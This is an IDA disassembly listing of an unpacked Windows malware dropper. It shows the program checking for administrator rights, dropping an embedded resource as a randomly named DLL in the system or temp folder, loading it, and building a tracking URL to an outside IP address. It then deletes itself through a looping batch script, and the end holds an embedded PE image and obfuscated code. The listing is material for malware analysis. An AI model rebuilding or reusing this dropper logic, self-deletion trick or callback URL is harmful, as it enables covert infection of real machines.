;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A1A1659005A82D7CC09CD260CCA87200



unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND]
; File Name   :	u:\work\a1a1659005a82d7cc09cd260cca87200_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4015B3+9Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	80h
		push	2
		push	esi
		push	1
		push	40000000h
		push	[ebp+arg_0]
		xor	ebx, ebx
		call	ds:dword_402008	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_401052
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		mov	[ebp+var_4], esi
		mov	esi, [ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_402004	; WriteFile
		test	eax, eax
		jz	short loc_40104B
		cmp	[ebp+var_4], esi
		jnz	short loc_40104B
		inc	ebx


loc_40104B:				; CODE XREF: sub_401000+43j
					; sub_401000+48j
		push	edi
		call	ds:dword_402000	; CloseHandle


loc_401052:				; CODE XREF: sub_401000+29j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401059	proc near		; CODE XREF: sub_4015B3+A8p

var_128		= byte ptr -128h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAzxcdsweq ; "azxcdsweq"
		lea	edi, [ebp+var_14]
		movsd
		movsd
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_8], 10h
		movsw
		call	ds:dword_402018	; lstrlenA
		push	104h
		lea	eax, [ebp+var_128]
		push	eax
		xor	esi, esi
		push	esi
		call	ds:dword_402014	; GetModuleFileNameA
		mov	edi, ds:dword_402008
		push	esi
		push	esi
		push	3
		pop	ebx
		push	ebx
		push	esi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_128]
		push	eax
		call	edi	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_401148
		push	esi
		push	esi
		push	ebx
		push	esi
		push	ebx
		push	40000000h
		push	[ebp+arg_0]
		call	edi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4010E0
		push	[ebp+var_4]
		call	ds:dword_402000	; CloseHandle
		jmp	short loc_401148
; ---------------------------------------------------------------------------


loc_4010E0:				; CODE XREF: sub_401059+7Aj
		mov	edi, ds:dword_402010
		push	2
		push	esi
		push	0FFFFFFF3h
		push	[ebp+var_4]
		call	edi	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_40200C	; ReadFile
		test	eax, eax
		jnz	short loc_401114
		push	[ebp+var_4]
		mov	esi, ds:dword_402000
		jmp	short loc_401143
; ---------------------------------------------------------------------------


loc_401114:				; CODE XREF: sub_401059+AEj
		push	2
		push	esi
		push	0FFFFFFF3h
		push	ebx
		mov	[ebp+var_8], 0Dh
		call	edi	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_402004	; WriteFile
		test	eax, eax
		mov	esi, ds:dword_402000
		push	[ebp+var_4]
		jnz	short loc_40114C


loc_401143:				; CODE XREF: sub_401059+B9j
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle


loc_401148:				; CODE XREF: sub_401059+60j
					; sub_401059+85j
		xor	eax, eax
		jmp	short loc_401151
; ---------------------------------------------------------------------------


loc_40114C:				; CODE XREF: sub_401059+E8j
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle


loc_401151:				; CODE XREF: sub_401059+F1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401059	endp


; =============== S U B	R O U T	I N E =======================================



sub_401156	proc near		; CODE XREF: sub_4013D6+40p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short loc_401184
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	bh, bl
		mov	edx, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		shr	ecx, 2
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx


loc_401184:				; CODE XREF: sub_401156+6j
		mov	eax, [esp+arg_0]
		retn
sub_401156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401189	proc near		; CODE XREF: sub_40166D+18p

var_10		= dword	ptr -10h
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_402084	; GetCursorPos
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_402020	; GetSystemTimeAsFileTime
		call	ds:dword_40201C	; GetTickCount
		movzx	edx, [ebp+var_8]
		mov	ecx, eax
		movzx	eax, [ebp+var_4]
		shl	eax, 10h
		or	eax, edx
		imul	ecx, eax
		imul	ecx, [ebp+var_10]
		imul	ecx, [ebp+var_10]
		xor	edx, edx
		push	19h
		mov	eax, ecx
		pop	edi
		div	edi
		mov	esi, [ebp+arg_0]
		or	[ebp+arg_0], 0FFFFFFFFh
		add	dl, 61h
		sub	[ebp+arg_0], esi
		mov	[esi], dl


loc_4011DE:				; CODE XREF: sub_401189+A9j
		mov	eax, ecx
		and	eax, 1
		push	5
		inc	eax
		xor	edx, edx
		pop	ebx
		cmp	eax, 1
		lea	edi, [esi+1]
		push	19h
		mov	eax, ecx
		jnz	short loc_401208
		div	ebx
		movsx	eax, dl
		movsx	edx, byte ptr [esi]
		add	eax, edx
		cdq
		pop	esi
		idiv	esi
		add	dl, 61h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_401208:				; CODE XREF: sub_401189+6Aj
		div	ebx
		movsx	eax, dl
		movsx	edx, byte ptr [esi]
		add	eax, edx
		cdq
		pop	esi
		idiv	esi
		add	dl, 41h


loc_401219:				; CODE XREF: sub_401189+7Dj
		mov	eax, ecx
		mov	[edi], dl
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	esi, edi
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+esi+1]
		cmp	eax, 8
		jl	short loc_4011DE
		push	[ebp+arg_4]
		mov	byte ptr [esi],	2Eh
		inc	esi
		push	esi
		call	ds:dword_402070	; lstrcpyA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401247	proc near		; CODE XREF: .text:0040170Ap

var_470		= byte ptr -470h
var_36C		= byte ptr -36Ch
var_268		= byte ptr -268h
var_164		= byte ptr -164h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 470h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_36C]
		push	eax
		xor	ebx, ebx
		push	ebx
		call	ds:dword_402014	; GetModuleFileNameA
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_36C]
		push	eax
		call	ds:dword_402030	; SetFileAttributesA
		lea	eax, [ebp+var_36C]
		push	eax
		call	ds:dword_40202C	; GetFileAttributesA
		cmp	eax, edi
		jz	short loc_401294
		xor	al, al
		jmp	loc_4013A4
; ---------------------------------------------------------------------------


loc_401294:				; CODE XREF: sub_401247+44j
		lea	eax, [ebp+var_470]
		push	eax
		push	esi
		mov	[ebp+var_1], bl
		call	ds:dword_402028	; GetTempPathA
		mov	edi, ds:dword_402070
		lea	eax, [ebp+var_470]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	edi	; lstrcpyA
		mov	esi, ds:dword_402074
		push	offset aRemovalfile_ba ; "removalfile.bat"
		lea	eax, [ebp+var_268]
		push	eax
		call	esi	; lstrcatA
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_402008	; CreateFileA
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4013A1
		push	ebx
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	2Bh
		push	offset a@echoOffDfDel1 ; "@echo	off\r\n:df\r\ndel %1\r\nif exist %1 got"...
		push	eax
		call	ds:dword_402004	; WriteFile
		push	[ebp+var_8]
		call	ds:dword_402000	; CloseHandle
		lea	eax, [ebp+var_268]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	edi	; lstrcpyA
		push	offset asc_4020F4 ; " \""
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcatA
		push	offset asc_4020F0 ; "\""
		lea	eax, [ebp+var_164]
		push	eax
		call	esi	; lstrcatA
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_5C]
		rep stosd
		mov	[ebp+var_18], ebx
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_164]
		push	eax
		push	ebx
		mov	[ebp+var_60], 44h
		mov	[ebp+var_34], 1
		mov	[ebp+var_30], bx
		call	ds:dword_402024	; CreateProcessA
		push	[ebp+var_14]
		mov	esi, ds:dword_402000
		test	eax, eax
		setnz	[ebp+var_1]
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle


loc_4013A1:				; CODE XREF: sub_401247+A5j
		mov	al, [ebp+var_1]


loc_4013A4:				; CODE XREF: sub_401247+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401247	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013A9	proc near		; CODE XREF: sub_4013D6+134p

arg_0		= dword	ptr  4

		push	4
		push	1000h
		push	[esp+8+arg_0]
		push	0
		call	ds:dword_40206C	; VirtualAlloc
		retn
sub_4013A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013BD	proc near		; CODE XREF: sub_4013D6+12Bp
					; sub_4013D6+1B8p

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_4013D5
		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	ds:dword_402034	; VirtualFree

locret_4013D5:				; CODE XREF: sub_4013BD+5j
		retn
sub_4013BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_4013D6	proc near		; CODE XREF: sub_4015B3+Cp

var_C4		= dword	ptr -0C4h
var_B4		= dword	ptr -0B4h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0C4h
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, 94h
		push	esi
		lea	eax, [ebp+78h+var_C4]
		push	ebx
		push	eax
		mov	[ebp+78h+var_1C], ebx
		mov	[ebp+78h+var_10], ebx
		mov	[ebp+78h+var_4], ebx
		mov	[ebp+78h+var_20], 400h
		mov	[ebp+78h+var_8], ebx
		mov	[ebp+78h+var_18], bl
		mov	[ebp+78h+var_17], bl
		mov	[ebp+78h+var_16], bl
		mov	[ebp+78h+var_15], bl
		mov	[ebp+78h+var_14], bl
		mov	[ebp+78h+var_13], 5
		call	sub_401156
		add	esp, 0Ch
		lea	eax, [ebp+78h+var_C4]
		push	eax
		mov	[ebp+78h+var_C4], esi
		call	ds:dword_402050	; GetVersionExA
		xor	eax, eax
		inc	eax
		cmp	[ebp+78h+var_B4], eax
		jz	loc_4015AC
		push	edi
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ds:dword_40204C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+78h+var_C], edi
		jz	loc_4015A8
		mov	esi, ds:dword_402048
		push	offset aAllocateandini ; "AllocateAndInitializeSid"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	[ebp+78h+var_30], eax
		jz	loc_40159F
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40159F
		push	offset aGettokeninform ; "GetTokenInformation"
		push	[ebp+78h+var_C]
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	[ebp+78h+var_2C], eax
		jz	loc_40159F
		push	offset aEqualsid ; "EqualSid"
		push	[ebp+78h+var_C]
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	[ebp+78h+var_24], eax
		jz	loc_40159F
		push	offset aFreesid	; "FreeSid"
		push	[ebp+78h+var_C]
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	[ebp+78h+var_28], eax
		jz	loc_40159F
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	220h
		push	20h
		push	2
		lea	eax, [ebp+78h+var_18]
		push	eax
		call	[ebp+78h+var_30]
		test	eax, eax
		jz	loc_401578
		lea	eax, [ebp+78h+var_10]
		push	eax
		push	8
		call	ds:dword_402044	; GetCurrentProcess
		push	eax
		call	edi	; lstrcpyA
		test	eax, eax
		jz	loc_401578
		mov	esi, ds:dword_402040


loc_4014F9:				; CODE XREF: sub_4013D6+169j
		cmp	[ebp+78h+var_4], ebx
		jz	short loc_401507
		push	[ebp+78h+var_4]
		call	sub_4013BD
		pop	ecx


loc_401507:				; CODE XREF: sub_4013D6+126j
		push	[ebp+78h+var_20]
		call	sub_4013A9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+78h+var_4], eax
		jz	short loc_401578
		push	ebx
		call	ds:dword_40203C	; RtlSetLastWin32Error
		lea	eax, [ebp+78h+var_20]
		push	eax
		push	[ebp+78h+var_20]
		push	[ebp+78h+var_4]
		push	2
		push	[ebp+78h+var_10]
		call	[ebp+78h+var_2C]
		test	eax, eax
		jnz	short loc_40153B
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	short loc_401578


loc_40153B:				; CODE XREF: sub_4013D6+15Cj
		call	esi	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4014F9
		mov	eax, [ebp+78h+var_4]
		xor	edi, edi
		cmp	[eax], ebx
		mov	[ebp+78h+var_1C], ebx
		jbe	short loc_401578
		mov	esi, eax
		add	esi, 8


loc_401552:				; CODE XREF: sub_4013D6+197j
		push	dword ptr [esi-4]
		push	[ebp+78h+var_8]
		call	[ebp+78h+var_24]
		test	eax, eax
		jz	short loc_401564
		test	byte ptr [esi],	10h
		jz	short loc_401571


loc_401564:				; CODE XREF: sub_4013D6+187j
		mov	eax, [ebp+78h+var_4]
		inc	edi
		add	esi, 8
		cmp	edi, [eax]
		jb	short loc_401552
		jmp	short loc_401578
; ---------------------------------------------------------------------------


loc_401571:				; CODE XREF: sub_4013D6+18Cj
		mov	[ebp+78h+var_1C], 1


loc_401578:				; CODE XREF: sub_4013D6+100j
					; sub_4013D6+117j ...
		cmp	[ebp+78h+var_10], ebx
		jz	short loc_401586
		push	[ebp+78h+var_10]
		call	ds:dword_402000	; CloseHandle


loc_401586:				; CODE XREF: sub_4013D6+1A5j
		cmp	[ebp+78h+var_4], ebx
		jz	short loc_401594
		push	[ebp+78h+var_4]
		call	sub_4013BD
		pop	ecx


loc_401594:				; CODE XREF: sub_4013D6+1B3j
		cmp	[ebp+78h+var_8], ebx
		jz	short loc_40159F
		push	[ebp+78h+var_8]
		call	[ebp+78h+var_28]


loc_40159F:				; CODE XREF: sub_4013D6+8Dj
					; sub_4013D6+9Fj ...
		push	[ebp+78h+var_C]
		call	ds:dword_402038	; FreeLibrary


loc_4015A8:				; CODE XREF: sub_4013D6+74j
		mov	eax, [ebp+78h+var_1C]
		pop	edi


loc_4015AC:				; CODE XREF: sub_4013D6+5Bj
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
sub_4013D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015B3	proc near		; CODE XREF: sub_40166D+2Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		call	sub_4013D6
		test	eax, eax
		mov	esi, ds:dword_402074
		mov	ebx, [ebp+arg_8]
		jz	short loc_4015E7
		push	104h
		push	ebx
		call	ds:dword_402078	; GetSystemDirectoryA
		push	offset asc_402164 ; "\\"
		push	ebx
		call	esi	; lstrcatA
		jmp	short loc_4015F3
; ---------------------------------------------------------------------------


loc_4015E7:				; CODE XREF: sub_4015B3+1Cj
		push	ebx
		push	104h
		call	ds:dword_402028	; GetTempPathA


loc_4015F3:				; CODE XREF: sub_4015B3+32j
		push	[ebp+arg_4]
		push	ebx
		call	esi	; lstrcatA
		push	80h
		push	ebx
		call	ds:dword_402030	; SetFileAttributesA
		push	0
		call	ds:dword_402064	; GetModuleHandleA
		push	offset aBin	; "BIN"
		mov	esi, eax
		push	68h
		push	esi
		call	ds:dword_402060	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_401665
		push	edi
		push	esi
		call	ds:dword_40205C	; LoadResource
		test	eax, eax
		jz	short loc_401665
		push	eax
		call	ds:dword_402058	; SetHandleCount
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_401665
		push	edi
		push	esi
		call	ds:dword_402054	; SizeofResource
		test	eax, eax
		jz	short loc_401665
		push	eax
		push	[ebp+var_8]
		push	ebx
		call	sub_401000
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401665
		push	ebx
		call	sub_401059
		pop	ecx
		mov	[ebp+var_1], 1


loc_401665:				; CODE XREF: sub_4015B3+6Ej
					; sub_4015B3+7Aj ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4015B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40166D	proc near		; CODE XREF: .text:00401705p

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	esi
		xor	esi, esi


loc_401679:				; CODE XREF: sub_40166D+40j
		lea	eax, [ebp+var_104]
		push	offset aDll	; "dll"
		push	eax
		call	sub_401189
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	1
		call	sub_4015B3
		add	esp, 14h
		test	al, al
		jz	short loc_4016A9
		push	63h
		pop	esi


loc_4016A9:				; CODE XREF: sub_40166D+37j
		inc	esi
		cmp	esi, 1Eh
		jl	short loc_401679
		cmp	esi, 64h
		jnz	short loc_4016DD
		lea	eax, [ebp+var_208]
		push	eax
		call	ds:dword_40204C	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	short loc_4016DD
		push	1
		push	esi
		call	ds:dword_402048	; GetProcAddress
		test	eax, eax
		jz	short loc_4016D6
		call	eax


loc_4016D6:				; CODE XREF: sub_40166D+65j
		push	esi
		call	ds:dword_402038	; FreeLibrary


loc_4016DD:				; CODE XREF: sub_40166D+45j
					; sub_40166D+58j
		xor	al, al
		pop	esi
		leave
		retn
sub_40166D	endp

; ---------------------------------------------------------------------------
		sub	esp, 104h
		push	offset dword_403068
		push	offset dword_403000
		lea	eax, [esp+8]
		push	offset aHttp65_243_103 ; "http://65.243.103.60/go//?cmp=vmtek_upd"...
		push	eax
		call	ds:dword_402080	; wsprintfA
		add	esp, 10h
		call	sub_40166D
		call	sub_401247
		push	0
		call	ds:dword_402044	; GetCurrentProcess
		push	eax
		call	ds:dword_402068	; TerminateProcess
		add	esp, 104h
		retn	10h
; ---------------------------------------------------------------------------
		align 4
		dd 236h	dup(0)
dword_402000	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401059+7Fr ...
dword_402004	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_401059+D7r ...
dword_402008	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_401059+3Er ...
dword_40200C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_402010	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_402014	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401247+1Cr
dword_402018	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_40201C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_402020	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTimedword_402024	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_402028	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_4015B3+3Ar
dword_40202C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_402030	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_4015B3+4Cr
dword_402034	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_402038	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_40166D+6Ar
dword_40203C	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Errordword_402040	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_402044	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; .text:00401711r
dword_402048	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_40166D+5Dr
dword_40204C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_40166D+4Er
dword_402050	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_402054	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_402058	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_40205C	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_402060	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_402064	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_402068	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_40206C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_402070	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_401247+5Er
dword_402074	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_4015B3+13r
dword_402078	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA		align 10h
dword_402080	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_402084	dd 7E41BD76h	; resolved to->USER32.GetCursorPos		align 10h
		dd 68h
aRemovalfile_ba	db 'removalfile.bat',0  ; DATA XREF: sub_401247+7Ao
a@echoOffDfDel1	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_401247+B2o
		db ':df',0Dh,0Ah
		db 'del %1',0Dh,0Ah
		db 'if exist %1 goto df',0
aRundll32_exeSA	db 'rundll32.exe %s,a',0
		align 4
aAzxcdsweq	db 'azxcdsweq',0        ; DATA XREF: sub_401059+Co
		align 10h
asc_4020F0:				; DATA XREF: sub_401247+F5o
		unicode	0, <">,0
asc_4020F4	db ' "',0               ; DATA XREF: sub_401247+D7o
		align 4
aFreesid	db 'FreeSid',0          ; DATA XREF: sub_4013D6+CFo
aEqualsid	db 'EqualSid',0         ; DATA XREF: sub_4013D6+BAo
		align 4
aGettokeninform	db 'GetTokenInformation',0 ; DATA XREF: sub_4013D6+A5o
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4013D6+93o
		align 4
aAllocateandini	db 'AllocateAndInitializeSid',0 ; DATA XREF: sub_4013D6+80o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4013D6+62o
		align 10h
aBin		db 'BIN',0              ; DATA XREF: sub_4015B3+5Ao
asc_402164:				; DATA XREF: sub_4015B3+2Ao
		unicode	0, <\>,0
aDll		db 'dll',0              ; DATA XREF: sub_40166D+12o
		align 10h
aHttp65_243_103	db 'http://65.243.103.60/go//?cmp=vmtek_update&lid=run&uid=%s&guid=%s'
					; DATA XREF: .text:004016F6o
		db 0
		align 4
		dd 0C2h	dup(0)
		dd 41564441h, 32334950h, 6C6C642Eh, 2CEh dup(0)
dword_403000	dd 1Ah dup(0)	dword_403068	dd 420h	dup(0)			dd 420003h, 4E0049h, 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0F8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 1Fh	dup(0)
		dd 4550h, 4014Ch, 8EE2E7C5h, 2 dup(0)
		dd 210E00E0h, 0A07010Bh, 5400h,	1000h, 1E000h, 5FA1h, 1000h
		dd 1F000h, 10000000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 26000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 250D4h, 50h,	16h dup(0)
		dd 25000h, 58h,	4 dup(0)
		dd 7865742Eh, 74h, 1E000h, 1000h, 5400h, 400h, 3 dup(0)
		dd 0E0000020h, 7461642Eh, 61h, 5000h, 1F000h, 4200h, 5800h
		dd 3 dup(0)
		dd 40000040h, 6164722Eh, 6174h,	1000h, 24000h, 400h, 9A00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 1000h,	25000h,	800h, 9E00h
		dd 3 dup(0)
		dd 40000040h, 5Ch dup(0)
; ---------------------------------------------------------------------------
		push	ecx
		push	23152045h
		jmp	short loc_404506
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h
		db 0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_404506:				; CODE XREF: .text:004044F6j
		mov	ecx, esp
		sub	eax, [ecx]
		jmp	short loc_404513
; ---------------------------------------------------------------------------
		dd 31D8BB4Ah
		db 16h,	97h, 84h
; ---------------------------------------------------------------------------


loc_404513:				; CODE XREF: .text:0040450Aj
		add	esp, 4
		jmp	loc_40451F
; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------


loc_40451F:				; CODE XREF: .text:00404519j
		pop	ecx
		add	eax, 23152045h
		jmp	short loc_404537
; ---------------------------------------------------------------------------
		dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]


loc_404537:				; CODE XREF: .text:00404526j
		jmp	short loc_404562
; ---------------------------------------------------------------------------
		db 0AAh, 9Bh, 38h
; ---------------------------------------------------------------------------


loc_40453C:				; CODE XREF: .text:loc_404562j
		jmp	short loc_404575
; ---------------------------------------------------------------------------
		dw 7611h
